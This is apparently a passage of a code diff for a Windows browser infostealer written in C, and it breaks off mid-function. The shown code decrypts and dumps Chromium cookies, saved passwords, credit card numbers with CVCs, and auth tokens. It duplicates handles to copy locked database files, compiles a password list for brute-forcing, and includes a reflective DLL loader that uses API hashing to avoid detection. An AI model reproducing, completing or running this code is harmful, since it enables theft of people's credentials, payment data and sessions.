wchar_t db_path[MAX_PATH_LEN];
swprintf_s(db_path, MAX_PATH_LEN, L"%s\\Network\\Cookies", ctx->profile_path);
if (GetFileAttributesW(db_path) == INVALID_FILE_ATTRIBUTES) {
return NULL;
}
sqlite3* db = NULL;
if (!open_database(db_path, &db)) {
return NULL;
}
StringArray* results = string_array_create(100);
if (!results) {
sqlite3_close(db);
return NULL;
}
const char* query =
"SELECT host_key, name, path, is_secure, expires_utc, encrypted_value FROM cookies;";
sqlite3_stmt* stmt = NULL;
if (sqlite3_prepare_v2(db, query, -1, &stmt, NULL) != SQLITE_OK) {
sqlite3_close(db);
string_array_destroy(results);
return NULL;
}
while (sqlite3_step(stmt) == SQLITE_ROW) {
const uint8_t* blob = sqlite3_column_blob(stmt, 5);
int blob_len = sqlite3_column_bytes(stmt, 5);
if (!blob) continue;
ByteBuffer* plain = decrypt_gcm(ctx->aes_key, ctx->key_len, blob, blob_len);
if (!plain || plain->size <= COOKIE_PLAINTEXT_HEADER_SIZE) {
buffer_destroy(plain);
continue;
}
const char* value = (const char*)(plain->data + COOKIE_PLAINTEXT_HEADER_SIZE);
size_t value_len = plain->size - COOKIE_PLAINTEXT_HEADER_SIZE;
char* value_str = malloc(value_len + 1);
if (!value_str) {
buffer_destroy(plain);
continue;
}
memcpy(value_str, value, value_len);
value_str[value_len] = '\0';
const char* host = (const char*)sqlite3_column_text(stmt, 0);
const char* name = (const char*)sqlite3_column_text(stmt, 1);
const char* path = (const char*)sqlite3_column_text(stmt, 2);
int is_secure = sqlite3_column_int(stmt, 3);
long long expires = sqlite3_column_int64(stmt, 4);
long long unix_expiry = (expires / 1000000LL) - 11644473600LL;
char netscape[MAX_JSON_LEN];
snprintf(netscape, sizeof(netscape),
"%s\t%s\t%s\t%s\t%lld\t%s\t%s",
host ? host : "",
(host && host[0] == '.') ? "TRUE" : "FALSE",
path ? path : "/",
is_secure ? "TRUE" : "FALSE",
unix_expiry,
name ? name : "",
value_str
);
string_array_add(results, netscape);
free(value_str);
buffer_destroy(plain);
}
sqlite3_finalize(stmt);
sqlite3_close(db);
return results;
}
StringArray* extract_passwords(const ExtractionContext* ctx) {
if (!ctx) return NULL;
wchar_t db_path[MAX_PATH_LEN];
swprintf_s(db_path, MAX_PATH_LEN, L"%s\\Login Data", ctx->profile_path);
sqlite3* db = NULL;
if (!open_database(db_path, &db)) return NULL;
StringArray* results = string_array_create(50);
const char* query = "SELECT origin_url, username_value, password_value FROM logins;";
sqlite3_stmt* stmt = NULL;
if (sqlite3_prepare_v2(db, query, -1, &stmt, NULL) != SQLITE_OK) {
sqlite3_close(db);
return results;
}
while (sqlite3_step(stmt) == SQLITE_ROW) {
const uint8_t* blob = sqlite3_column_blob(stmt, 2);
int blob_len = sqlite3_column_bytes(stmt, 2);
if (!blob) continue;
ByteBuffer* plain = decrypt_gcm(ctx->aes_key, ctx->key_len, blob, blob_len);
if (!plain) continue;
char* origin = escape_json_string((const char*)sqlite3_column_text(stmt, 0));
char* user = escape_json_string((const char*)sqlite3_column_text(stmt, 1));
char* pass_raw = malloc(plain->size + 1);
memcpy(pass_raw, plain->data, plain->size);
pass_raw[plain->size] = '\0';
char* pass_esc = escape_json_string(pass_raw);
char json[MAX_JSON_LEN];
snprintf(json, sizeof(json),
" {\"origin\":\"%s\",\"username\":\"%s\",\"password\":\"%s\"}",
origin, user, pass_esc);
string_array_add(results, json);
free(origin);
free(user);
free(pass_raw);
free(pass_esc);
buffer_destroy(plain);
}
sqlite3_finalize(stmt);
sqlite3_close(db);
return results;
}
typedef struct {
char* guid;
uint8_t* blob;
int blob_len;
} CvcEntry;
StringArray* extract_payments(const ExtractionContext* ctx) {
if (!ctx) return NULL;
wchar_t db_path[MAX_PATH_LEN];
swprintf_s(db_path, MAX_PATH_LEN, L"%s\\Web Data", ctx->profile_path);
sqlite3* db = NULL;
if (!open_database(db_path, &db)) return NULL;
CvcEntry* cvc_table = NULL;
int cvc_count = 0;
sqlite3_stmt* cvc_stmt = NULL;
if (sqlite3_prepare_v2(db, "SELECT guid, value_encrypted FROM local_stored_cvc;", -1, &cvc_stmt, NULL) == SQLITE_OK) {
while (sqlite3_step(cvc_stmt) == SQLITE_ROW) {
cvc_table = realloc(cvc_table, sizeof(CvcEntry) * (cvc_count + 1));
const char* guid = (const char*)sqlite3_column_text(cvc_stmt, 0);
const uint8_t* blob = sqlite3_column_blob(cvc_stmt, 1);
int len = sqlite3_column_bytes(cvc_stmt, 1);
cvc_table[cvc_count].guid = _strdup(guid);
cvc_table[cvc_count].blob = malloc(len);
memcpy(cvc_table[cvc_count].blob, blob, len);
cvc_table[cvc_count].blob_len = len;
cvc_count++;
}
sqlite3_finalize(cvc_stmt);
}
StringArray* results = string_array_create(10);
const char* query = "SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards;";
sqlite3_stmt* stmt = NULL;
if (sqlite3_prepare_v2(db, query, -1, &stmt, NULL) == SQLITE_OK) {
while (sqlite3_step(stmt) == SQLITE_ROW) {
const char* guid = (const char*)sqlite3_column_text(stmt, 0);
char card_num[256] = { 0 };
char cvc_val[16] = { 0 };
const uint8_t* card_blob = sqlite3_column_blob(stmt, 4);
int card_blob_len = sqlite3_column_bytes(stmt, 4);
if (card_blob) {
ByteBuffer* plain = decrypt_gcm(ctx->aes_key, ctx->key_len, card_blob, card_blob_len);
if (plain) {
snprintf(card_num, sizeof(card_num), "%.*s", (int)plain->size, plain->data);
buffer_destroy(plain);
}
}
for (int i = 0; i < cvc_count; i++) {
if (strcmp(guid, cvc_table[i].guid) == 0) {
ByteBuffer* plain_cvc = decrypt_gcm(ctx->aes_key, ctx->key_len, cvc_table[i].blob, cvc_table[i].blob_len);
if (plain_cvc) {
snprintf(cvc_val, sizeof(cvc_val), "%.*s", (int)plain_cvc->size, plain_cvc->data);
buffer_destroy(plain_cvc);
}
break;
}
}
char* name = escape_json_string((const char*)sqlite3_column_text(stmt, 1));
char* card_esc = escape_json_string(card_num);
char* cvc_esc = escape_json_string(cvc_val);
char json[MAX_JSON_LEN];
snprintf(json, sizeof(json),
" {\"name_on_card\":\"%s\",\"expiration_month\":%d,\"expiration_year\":%d,\"card_number\":\"%s\",\"cvc\":\"%s\"}",
name, sqlite3_column_int(stmt, 2), sqlite3_column_int(stmt, 3), card_esc, cvc_esc);
string_array_add(results, json);
free(name); free(card_esc); free(cvc_esc);
}
sqlite3_finalize(stmt);
}
for (int i = 0; i < cvc_count; i++) {
free(cvc_table[i].guid);
free(cvc_table[i].blob);
}
free(cvc_table);
sqlite3_close(db);
return results;
}
StringArray* extract_tokens(const ExtractionContext* ctx) {
if (!ctx) return NULL;
wchar_t db_path[MAX_PATH_LEN];
swprintf_s(db_path, MAX_PATH_LEN, L"%s\\Web Data", ctx->profile_path);
sqlite3* db = NULL;
if (!open_database(db_path, &db)) return NULL;
StringArray* results = string_array_create(20);
if (!results) {
sqlite3_close(db);
return NULL;
}
bool has_binding_key = true;
const char* query_with_key = "SELECT service, encrypted_token, binding_key FROM token_service;";
const char* query_without_key = "SELECT service, encrypted_token FROM token_service;";
sqlite3_stmt* stmt = NULL;
if (sqlite3_prepare_v2(db, query_with_key, -1, &stmt, NULL) != SQLITE_OK) {
has_binding_key = false;
if (sqlite3_prepare_v2(db, query_without_key, -1, &stmt, NULL) != SQLITE_OK) {
sqlite3_close(db);
string_array_destroy(results);
return NULL;
}
}
while (sqlite3_step(stmt) == SQLITE_ROW) {
const uint8_t* token_blob = sqlite3_column_blob(stmt, 1);
int token_len = sqlite3_column_bytes(stmt, 1);
if (!token_blob || token_len <= 0) continue;
ByteBuffer* plain_token = decrypt_gcm(ctx->aes_key, ctx->key_len,
token_blob, token_len);
if (!plain_token) continue;
char* token_str = malloc(plain_token->size + 1);
if (!token_str) {
buffer_destroy(plain_token);
continue;
}
memcpy(token_str, plain_token->data, plain_token->size);
token_str[plain_token->size] = '\0';
buffer_destroy(plain_token);
char binding_key_str[512] = {};
if (has_binding_key) {
const uint8_t* key_blob = sqlite3_column_blob(stmt, 2);
int key_len = sqlite3_column_bytes(stmt, 2);
if (key_blob && key_len > 0) {
ByteBuffer* plain_key = decrypt_gcm(ctx->aes_key, ctx->key_len, key_blob, key_len);
if (plain_key) {
snprintf(binding_key_str, sizeof(binding_key_str), "%.*s", (int)plain_key->size, plain_key->data);
buffer_destroy(plain_key);
}
}
}
char* service = escape_json_string((const char*)sqlite3_column_text(stmt, 0));
char* token_esc = escape_json_string(token_str);
char* binding_esc = escape_json_string(binding_key_str);
char json[MAX_JSON_LEN];
snprintf(json, sizeof(json), " {\"service\":\"%s\",\"token\":\"%s\",\"binding_key\":\"%s\"}", service, token_esc, binding_esc);
string_array_add(results, json);
free(service);
free(token_esc);
free(binding_esc);
free(token_str);
}
sqlite3_finalize(stmt);
sqlite3_close(db);
return results;
}
+220
View File
@@ -0,0 +1,220 @@
#include "handle_duplicator.h"
#include <winternl.h>
#include <RestartManager.h>
#include <stdio.h>
#pragma comment(lib, "Rstrtmgr.lib")
typedef NTSTATUS(NTAPI* NtQueryObject_t)(
HANDLE Handle,
ULONG ObjectInformationClass,
PVOID ObjectInformation,
ULONG ObjectInformationLength,
PULONG ReturnLength
);
#define ObjectNameInformation 1
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
typedef struct _OBJECT_NAME_INFORMATION {
UNICODE_STRING Name;
WCHAR NameBuffer[1];
} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;
static bool get_processes_using_file(const wchar_t* file_path, DWORD* pids, DWORD* pid_count, DWORD max_pids) {
DWORD session;
WCHAR session_key[CCH_RM_SESSION_KEY + 1] = { 0 };
DWORD error;
error = RmStartSession(&session, 0, session_key);
if (error != ERROR_SUCCESS) {
return false;
}
LPCWSTR file_paths[1] = { file_path };
error = RmRegisterResources(session, 1, file_paths, 0, NULL, 0, NULL);
if (error != ERROR_SUCCESS) {
RmEndSession(session);
return false;
}
DWORD reason;
UINT proc_info_needed;
UINT proc_info_count = 10;
RM_PROCESS_INFO* proc_info = (RM_PROCESS_INFO*)malloc(sizeof(RM_PROCESS_INFO) * proc_info_count);
if (!proc_info) {
RmEndSession(session);
return false;
}
error = RmGetList(session, &proc_info_needed, &proc_info_count, proc_info, &reason);
if (error == ERROR_MORE_DATA) {
proc_info_count = proc_info_needed;
free(proc_info);
proc_info = (RM_PROCESS_INFO*)malloc(sizeof(RM_PROCESS_INFO) * proc_info_count);
if (!proc_info) {
RmEndSession(session);
return false;
}
error = RmGetList(session, &proc_info_needed, &proc_info_count, proc_info, &reason);
}
bool found = false;
if (error == ERROR_SUCCESS && proc_info_count > 0) {
DWORD count = proc_info_count < max_pids ? proc_info_count : max_pids;
for (UINT i = 0; i < count; i++) {
pids[i] = proc_info[i].Process.dwProcessId;
}
*pid_count = count;
found = true;
}
free(proc_info);
RmEndSession(session);
return found;
}
static bool get_file_handle_from_process(DWORD pid, const wchar_t* file_path, HANDLE* out_handle) {
HANDLE process = OpenProcess(PROCESS_DUP_HANDLE, FALSE, pid);
if (!process) {
return false;
}
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
if (!ntdll) {
CloseHandle(process);
return false;
}
NtQueryObject_t pNtQueryObject = (NtQueryObject_t)GetProcAddress(ntdll, "NtQueryObject");
if (!pNtQueryObject) {
CloseHandle(process);
return false;
}
wchar_t normalized_path[MAX_PATH];
if (!GetFullPathNameW(file_path, MAX_PATH, normalized_path, NULL)) {
CloseHandle(process);
return false;
}
for (wchar_t* p = normalized_path; *p; p++) {
*p = towlower(*p);
}
bool found = false;
HANDLE current_process = GetCurrentProcess();
for (DWORD handle_value = 4; handle_value < 0x10000; handle_value += 4) {
HANDLE dup_handle = NULL;
if (!DuplicateHandle(process, (HANDLE)(ULONG_PTR)handle_value, current_process,
&dup_handle, 0, FALSE, DUPLICATE_SAME_ACCESS)) {
continue;
}
DWORD file_type = GetFileType(dup_handle);
if (file_type != FILE_TYPE_DISK) {
CloseHandle(dup_handle);
continue;
}
wchar_t handle_path[MAX_PATH] = { 0 };
DWORD path_len = GetFinalPathNameByHandleW(dup_handle, handle_path, MAX_PATH, FILE_NAME_NORMALIZED);
if (path_len > 0 && path_len < MAX_PATH) {
wchar_t* actual_path = handle_path;
if (wcsncmp(handle_path, L"\\\\?\\", 4) == 0) {
actual_path = handle_path + 4;
}
wchar_t handle_normalized[MAX_PATH];
if (GetFullPathNameW(actual_path, MAX_PATH, handle_normalized, NULL)) {
for (wchar_t* p = handle_normalized; *p; p++) {
*p = towlower(*p);
}
if (wcscmp(handle_normalized, normalized_path) == 0) {
*out_handle = dup_handle;
found = true;
break;
}
}
}
CloseHandle(dup_handle);
}
CloseHandle(process);
return found;
}
bool copy_locked_file(const wchar_t* source_path, const wchar_t* dest_path) {
DWORD pids[32];
DWORD pid_count = 0;
if (!get_processes_using_file(source_path, pids, &pid_count, 32)) {
if (CopyFileW(source_path, dest_path, FALSE)) {
return true;
}
return false;
}
HANDLE file_handle = NULL;
for (DWORD i = 0; i < pid_count; i++) {
if (get_file_handle_from_process(pids[i], source_path, &file_handle)) {
break;
}
}
if (!file_handle) {
return false;
}
LARGE_INTEGER file_size;
if (!GetFileSizeEx(file_handle, &file_size)) {
CloseHandle(file_handle);
return false;
}
BYTE* buffer = (BYTE*)malloc((size_t)file_size.QuadPart);
if (!buffer) {
CloseHandle(file_handle);
return false;
}
SetFilePointer(file_handle, 0, NULL, FILE_BEGIN);
DWORD bytes_read = 0;
BOOL read_result = ReadFile(file_handle, buffer, (DWORD)file_size.QuadPart, &bytes_read, NULL);
CloseHandle(file_handle);
if (!read_result || bytes_read != file_size.QuadPart) {
free(buffer);
return false;
}
HANDLE dest_file = CreateFileW(dest_path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (dest_file == INVALID_HANDLE_VALUE) {
free(buffer);
return false;
}
DWORD bytes_written = 0;
BOOL write_result = WriteFile(dest_file, buffer, bytes_read, &bytes_written, NULL);
CloseHandle(dest_file);
free(buffer);
if (!write_result || bytes_written != bytes_read) {
return false;
}
return true;
}
+292
View File
@@ -0,0 +1,292 @@
#include "orchestrator.h"
#include "browser.h"
#include "crypto.h"
#include "profile.h"
#include "extractor.h"
#include "buffer.h"
#include <Windows.h>
#include <ShlObj.h>
#include <stdio.h>
#include <string.h>
bool orchestrator_init(OrchestratorConfig* config, const wchar_t* pipe_name) {
if (!config || !pipe_name) return false;
wcsncpy_s(config->pipe_name, 256, pipe_name, _TRUNCATE);
config->extract_fingerprint = false;
config->output_path[0] = L'\0';
config->pipe_handle = CreateFileW(pipe_name, GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
if (config->pipe_handle == INVALID_HANDLE_VALUE) {
return false;
}
char buffer[MAX_PATH + 1];
DWORD bytes_read;
// skip first parameter then read fingerprint flag
ReadFile(config->pipe_handle, buffer, sizeof(buffer) - 1, &bytes_read, NULL);
ReadFile(config->pipe_handle, buffer, sizeof(buffer) - 1, &bytes_read, NULL);
buffer[bytes_read] = '\0';
config->extract_fingerprint = (strcmp(buffer, "FINGERPRINT_TRUE") == 0);
ReadFile(config->pipe_handle, buffer, sizeof(buffer) - 1, &bytes_read, NULL);
buffer[bytes_read] = '\0';
MultiByteToWideChar(CP_UTF8, 0, buffer, -1, config->output_path, MAX_PATH_LEN);
return true;
}
void orchestrator_cleanup(OrchestratorConfig* config) {
if (!config) return;
if (config->pipe_handle != INVALID_HANDLE_VALUE) {
const char* completion = "__DLL_PIPE_COMPLETION_SIGNAL__";
DWORD written;
WriteFile(config->pipe_handle, completion, (DWORD)strlen(completion), &written, NULL);
FlushFileBuffers(config->pipe_handle);
CloseHandle(config->pipe_handle);
config->pipe_handle = INVALID_HANDLE_VALUE;
}
}
static void extract_password_from_json(const char* json, StringArray* passwords) {
const char* pwd_tag = "\"password\":\"";
char* pos = strstr(json, pwd_tag);
if (!pos) return;
pos += strlen(pwd_tag);
char* end = strchr(pos, '"');
if (!end) return;
size_t pwd_len = end - pos;
char* pwd = malloc(pwd_len + 1);
if (!pwd) return;
memcpy(pwd, pos, pwd_len);
pwd[pwd_len] = '\0';
if (!string_array_contains(passwords, pwd)) {
string_array_add(passwords, pwd);
}
free(pwd);
}
static void extract_domain_from_netscape(const char* netscape_line, StringArray* domains) {
char* domain_end = strchr(netscape_line, '\t');
if (!domain_end) return;
size_t domain_len = domain_end - netscape_line;
char* domain = malloc(domain_len + 1);
if (!domain) return;
memcpy(domain, netscape_line, domain_len);
domain[domain_len] = '\0';
char* clean_domain = domain;
if (clean_domain[0] == '.') clean_domain++;
if (!string_array_contains(domains, clean_domain)) {
string_array_add(domains, clean_domain);
}
free(domain);
}
static void write_brute_file(const wchar_t* output_path, StringArray* all_passwords) {
if (!output_path || !all_passwords) return;
wchar_t file_path[MAX_PATH_LEN];
swprintf_s(file_path, MAX_PATH_LEN, L"%s\\Brute.txt", output_path);
StringArray* unique = string_array_create(all_passwords->count);
if (!unique) return;
FILE* f = NULL;
if (_wfopen_s(&f, file_path, L"r") == 0 && f) {
char line[1024];
while (fgets(line, sizeof(line), f)) {
size_t len = strlen(line);
if (len > 0 && line[len - 1] == '\n') line[len - 1] = '\0';
if (len > 0) string_array_add(unique, line);
}
fclose(f);
}
for (size_t i = 0; i < all_passwords->count; i++) {
if (!string_array_contains(unique, all_passwords->items[i])) {
string_array_add(unique, all_passwords->items[i]);
}
}
if (_wfopen_s(&f, file_path, L"w") == 0 && f) {
for (size_t i = 0; i < unique->count; i++) {
fprintf(f, "%s\n", unique->items[i]);
}
fclose(f);
}
string_array_destroy(unique);
}
static void write_domains_file(const wchar_t* output_path, StringArray* all_domains) {
if (!output_path || !all_domains) return;
wchar_t file_path[MAX_PATH_LEN];
swprintf_s(file_path, MAX_PATH_LEN, L"%s\\Domains.txt", output_path);
StringArray* unique = string_array_create(all_domains->count);
if (!unique) return;
FILE* f = NULL;
if (_wfopen_s(&f, file_path, L"r") == 0 && f) {
char line[1024];
while (fgets(line, sizeof(line), f)) {
size_t len = strlen(line);
if (len > 0 && line[len - 1] == '\n') line[len - 1] = '\0';
if (len > 0) string_array_add(unique, line);
}
fclose(f);
}
for (size_t i = 0; i < all_domains->count; i++) {
if (!string_array_contains(unique, all_domains->items[i])) {
string_array_add(unique, all_domains->items[i]);
}
}
if (_wfopen_s(&f, file_path, L"w") == 0 && f) {
for (size_t i = 0; i < unique->count; i++) {
fprintf(f, "%s\n", unique->items[i]);
}
fclose(f);
}
string_array_destroy(unique);
}
bool orchestrator_run(OrchestratorConfig* config) {
if (!config) {
return false;
}
BrowserConfig browser_config;
if (!browser_get_config_for_process(&browser_config)) {
return false;
}
wchar_t user_data_path[MAX_PATH_LEN];
if (!browser_get_user_data_path(&browser_config, user_data_path, MAX_PATH_LEN)) {
return false;
}
wchar_t local_state_path[MAX_PATH_LEN];
swprintf_s(local_state_path, MAX_PATH_LEN, L"%s\\Local State", user_data_path);
ByteBuffer* encrypted_key = get_encrypted_master_key(local_state_path);
if (!encrypted_key) {
return false;
}
ByteBuffer* aes_key = decrypt_master_key_via_com(
&browser_config,
encrypted_key->data,
encrypted_key->size
);
buffer_destroy(encrypted_key);
if (!aes_key) {
return false;
}
ProfileList* profiles = profile_find_all(user_data_path);
if (!profiles) {
buffer_destroy(aes_key);
return false;
}
StringArray* all_passwords = string_array_create(100);
StringArray* all_domains = string_array_create(500);
for (size_t i = 0; i < profiles->count; i++) {
ExtractionContext ctx = {
.profile_path = profiles->paths[i].path,
.output_base = config->output_path,
.browser_name = browser_config.name,
.aes_key = aes_key->data,
.key_len = aes_key->size
};
wchar_t profile_name[256];
wchar_t* last_slash = wcsrchr(profiles->paths[i].path, L'\\');
wcscpy_s(profile_name, 256, last_slash ? last_slash + 1 : L"Default");
wchar_t profile_output_dir[MAX_PATH_LEN];
swprintf_s(
profile_output_dir,
MAX_PATH_LEN,
L"%s\\%S\\%s",
config->output_path,
browser_config.name,
profile_name
);
SHCreateDirectoryExW(NULL, profile_output_dir, NULL);
StringArray* cookies = extract_cookies(&ctx);
if (cookies) {
if (cookies->count > 0) {
wchar_t out_path[MAX_PATH_LEN];
swprintf_s(out_path, MAX_PATH_LEN, L"%s\\cookies.txt", profile_output_dir);
if (write_netscape_cookies(out_path, cookies)) {
for (size_t j = 0; j < cookies->count; j++) {
extract_domain_from_netscape(cookies->items[j], all_domains);
}
}
}
string_array_destroy(cookies);
}
StringArray* passwords = extract_passwords(&ctx);
if (passwords && passwords->count > 0) {
wchar_t out_path[MAX_PATH_LEN];
swprintf_s(out_path, MAX_PATH_LEN, L"%s\\passwords.json", profile_output_dir);
write_json_array(out_path, passwords);
for (size_t j = 0; j < passwords->count; j++) {
extract_password_from_json(passwords->items[j], all_passwords);
}
string_array_destroy(passwords);
}
StringArray* payments = extract_payments(&ctx);
if (payments && payments->count > 0) {
wchar_t out_path[MAX_PATH_LEN];
swprintf_s(out_path, MAX_PATH_LEN, L"%s\\payments.json", profile_output_dir);
write_json_array(out_path, payments);
string_array_destroy(payments);
}
StringArray* tokens = extract_tokens(&ctx);
if (tokens && tokens->count > 0) {
wchar_t out_path[MAX_PATH_LEN];
swprintf_s(out_path, MAX_PATH_LEN, L"%s\\tokens.json", profile_output_dir);
write_json_array(out_path, tokens);
string_array_destroy(tokens);
}
}
write_brute_file(config->output_path, all_passwords);
write_domains_file(config->output_path, all_domains);
string_array_destroy(all_passwords);
string_array_destroy(all_domains);
profile_list_destroy(profiles);
buffer_destroy(aes_key);
cleanup_temp_files();
return true;
}
+54
View File
@@ -0,0 +1,54 @@
#include "profile.h"
#include "buffer.h"
#include <windows.h>
#include <stdio.h>
static bool profile_has_database(const wchar_t* profile_path, const wchar_t* db_relative_path) {
wchar_t full_path[MAX_PATH_LEN];
swprintf_s(full_path, MAX_PATH_LEN, L"%s\\%s", profile_path, db_relative_path);
DWORD attrs = GetFileAttributesW(full_path);
return (attrs != INVALID_FILE_ATTRIBUTES && !(attrs & FILE_ATTRIBUTE_DIRECTORY));
}
static bool is_profile_directory(const wchar_t* path) {
const wchar_t* check_paths[] = { L"Network\\Cookies", L"Login Data", L"Web Data" };
for (int i = 0; i < 3; i++) {
if (profile_has_database(path, check_paths[i])) return true;
}
return false;
}
ProfileList* profile_find_all(const wchar_t* user_data_root) {
ProfileList* list = profile_list_create(10);
if (!list) return NULL;
if (is_profile_directory(user_data_root)) {
profile_list_add(list, user_data_root);
}
wchar_t search_path[MAX_PATH_LEN];
swprintf_s(search_path, MAX_PATH_LEN, L"%s\\*", user_data_root);
WIN32_FIND_DATAW find_data;
HANDLE hFind = FindFirstFileW(search_path, &find_data);
if (hFind != INVALID_HANDLE_VALUE) {
do {
if (wcscmp(find_data.cFileName, L".") == 0 || wcscmp(find_data.cFileName, L"..") == 0)
continue;
if (find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
wchar_t current_path[MAX_PATH_LEN];
swprintf_s(current_path, MAX_PATH_LEN, L"%s\\%s", user_data_root, find_data.cFileName);
if (is_profile_directory(current_path)) {
profile_list_add(list, current_path);
}
}
} while (FindNextFileW(hFind, &find_data));
FindClose(hFind);
}
return list;
}
+265
View File
@@ -0,0 +1,265 @@
#include <windows.h>
#include "reflective_loader.h"
#ifdef _MSC_VER
#pragma intrinsic(_ReturnAddress)
#pragma intrinsic(_rotr)
#define NOINLINE __declspec(noinline)
#else
#define NOINLINE __attribute__((noinline))
#endif
static DWORD ror_dword_loader(DWORD d)
{
#ifdef _MSC_VER
return _rotr(d, HASH_KEY);
#else
return (d >> HASH_KEY) | (d << (32 - HASH_KEY));
#endif
}
static DWORD hash_string_loader(char *c)
{
DWORD h = 0;
do
{
h = ror_dword_loader(h);
h += *c;
} while (*++c);
return h;
}
NOINLINE ULONG_PTR GetIp(VOID)
{
#ifdef _MSC_VER
return (ULONG_PTR)_ReturnAddress();
#else
return (ULONG_PTR)__builtin_return_address(0);
#endif
}
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpLoaderParameter)
{
LOADLIBRARYA_FN fnLoadLibraryA = NULL;
GETPROCADDRESS_FN fnGetProcAddress = NULL;
VIRTUALALLOC_FN fnVirtualAlloc = NULL;
NTFLUSHINSTRUCTIONCACHE_FN fnNtFlushInstructionCache = NULL;
ULONG_PTR uiDllBase;
ULONG_PTR uiPeb;
ULONG_PTR uiKernel32Base = 0;
ULONG_PTR uiNtdllBase = 0;
PIMAGE_NT_HEADERS pNtHeaders_current;
PIMAGE_DOS_HEADER pDosHeader_current;
uiDllBase = GetIp();
while (TRUE)
{
pDosHeader_current = (PIMAGE_DOS_HEADER)uiDllBase;
if (pDosHeader_current->e_magic == IMAGE_DOS_SIGNATURE)
{
pNtHeaders_current = (PIMAGE_NT_HEADERS)(uiDllBase + pDosHeader_current->e_lfanew);
if (pNtHeaders_current->Signature == IMAGE_NT_SIGNATURE)
break;
}
uiDllBase--;
}
#if defined(_M_X64)
uiPeb = __readgsqword(0x60);
#elif defined(_M_ARM64)
uiPeb = __readx18qword(0x60);
#else
return 0;
#endif
PPEB_LDR_DATA_LDR pLdr = ((PPEB_LDR)uiPeb)->Ldr;
PLIST_ENTRY pModuleList = &(pLdr->InMemoryOrderModuleList);
PLIST_ENTRY pCurrentEntry = pModuleList->Flink;
while (pCurrentEntry != pModuleList && (!uiKernel32Base || !uiNtdllBase))
{
PLDR_DATA_TABLE_ENTRY_LDR pEntry = (PLDR_DATA_TABLE_ENTRY_LDR)CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY_LDR, InMemoryOrderLinks);
if (pEntry->BaseDllName.Length > 0 && pEntry->BaseDllName.Buffer != NULL)
{
DWORD dwModuleHash = 0;
USHORT usCounter = pEntry->BaseDllName.Length;
BYTE *pNameByte = (BYTE *)pEntry->BaseDllName.Buffer;
do
{
dwModuleHash = ror_dword_loader(dwModuleHash);
if (*pNameByte >= 'a' && *pNameByte <= 'z')
{
dwModuleHash += (*pNameByte - 0x20);
}
else
{
dwModuleHash += *pNameByte;
}
pNameByte++;
} while (--usCounter);
if (dwModuleHash == KERNEL32DLL_HASH)
{
uiKernel32Base = (ULONG_PTR)pEntry->DllBase;
}
else if (dwModuleHash == NTDLLDLL_HASH)
{
uiNtdllBase = (ULONG_PTR)pEntry->DllBase;
}
}
pCurrentEntry = pCurrentEntry->Flink;
}
if (!uiKernel32Base || !uiNtdllBase)
return 0;
PIMAGE_DOS_HEADER pDosKernel32 = (PIMAGE_DOS_HEADER)uiKernel32Base;
PIMAGE_NT_HEADERS pNtKernel32 = (PIMAGE_NT_HEADERS)(uiKernel32Base + pDosKernel32->e_lfanew);
ULONG_PTR uiExportDirK32 = uiKernel32Base + pNtKernel32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY pExportDirK32 = (PIMAGE_EXPORT_DIRECTORY)uiExportDirK32;
ULONG_PTR uiAddressOfNamesK32 = uiKernel32Base + pExportDirK32->AddressOfNames;
ULONG_PTR uiAddressOfFunctionsK32 = uiKernel32Base + pExportDirK32->AddressOfFunctions;
ULONG_PTR uiAddressOfNameOrdinalsK32 = uiKernel32Base + pExportDirK32->AddressOfNameOrdinals;
for (DWORD i = 0; i < pExportDirK32->NumberOfNames; i++)
{
char *sName = (char *)(uiKernel32Base + ((DWORD *)uiAddressOfNamesK32)[i]);
DWORD dwHashVal = hash_string_loader(sName);
if (dwHashVal == LOADLIBRARYA_HASH)
fnLoadLibraryA = (LOADLIBRARYA_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]);
else if (dwHashVal == GETPROCADDRESS_HASH)
fnGetProcAddress = (GETPROCADDRESS_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]);
else if (dwHashVal == VIRTUALALLOC_HASH)
fnVirtualAlloc = (VIRTUALALLOC_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]);
if (fnLoadLibraryA && fnGetProcAddress && fnVirtualAlloc)
break;
}
if (!fnLoadLibraryA || !fnGetProcAddress || !fnVirtualAlloc)
return 0;
PIMAGE_DOS_HEADER pDosNtdll = (PIMAGE_DOS_HEADER)uiNtdllBase;
PIMAGE_NT_HEADERS pNtNtdll = (PIMAGE_NT_HEADERS)(uiNtdllBase + pDosNtdll->e_lfanew);
ULONG_PTR uiExportDirNtdll = uiNtdllBase + pNtNtdll->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY pExportDirNtdll = (PIMAGE_EXPORT_DIRECTORY)uiExportDirNtdll;
ULONG_PTR uiAddressOfNamesNtdll = uiNtdllBase + pExportDirNtdll->AddressOfNames;
ULONG_PTR uiAddressOfFunctionsNtdll = uiNtdllBase + pExportDirNtdll->AddressOfFunctions;
ULONG_PTR uiAddressOfNameOrdinalsNtdll = uiNtdllBase + pExportDirNtdll->AddressOfNameOrdinals;
for (DWORD i = 0; i < pExportDirNtdll->NumberOfNames; i++)
{
char *sName = (char *)(uiNtdllBase + ((DWORD *)uiAddressOfNamesNtdll)[i]);
if (hash_string_loader(sName) == NTFLUSHINSTRUCTIONCACHE_HASH)
{
fnNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE_FN)(uiNtdllBase + ((DWORD *)uiAddressOfFunctionsNtdll)[((WORD *)uiAddressOfNameOrdinalsNtdll)[i]]);
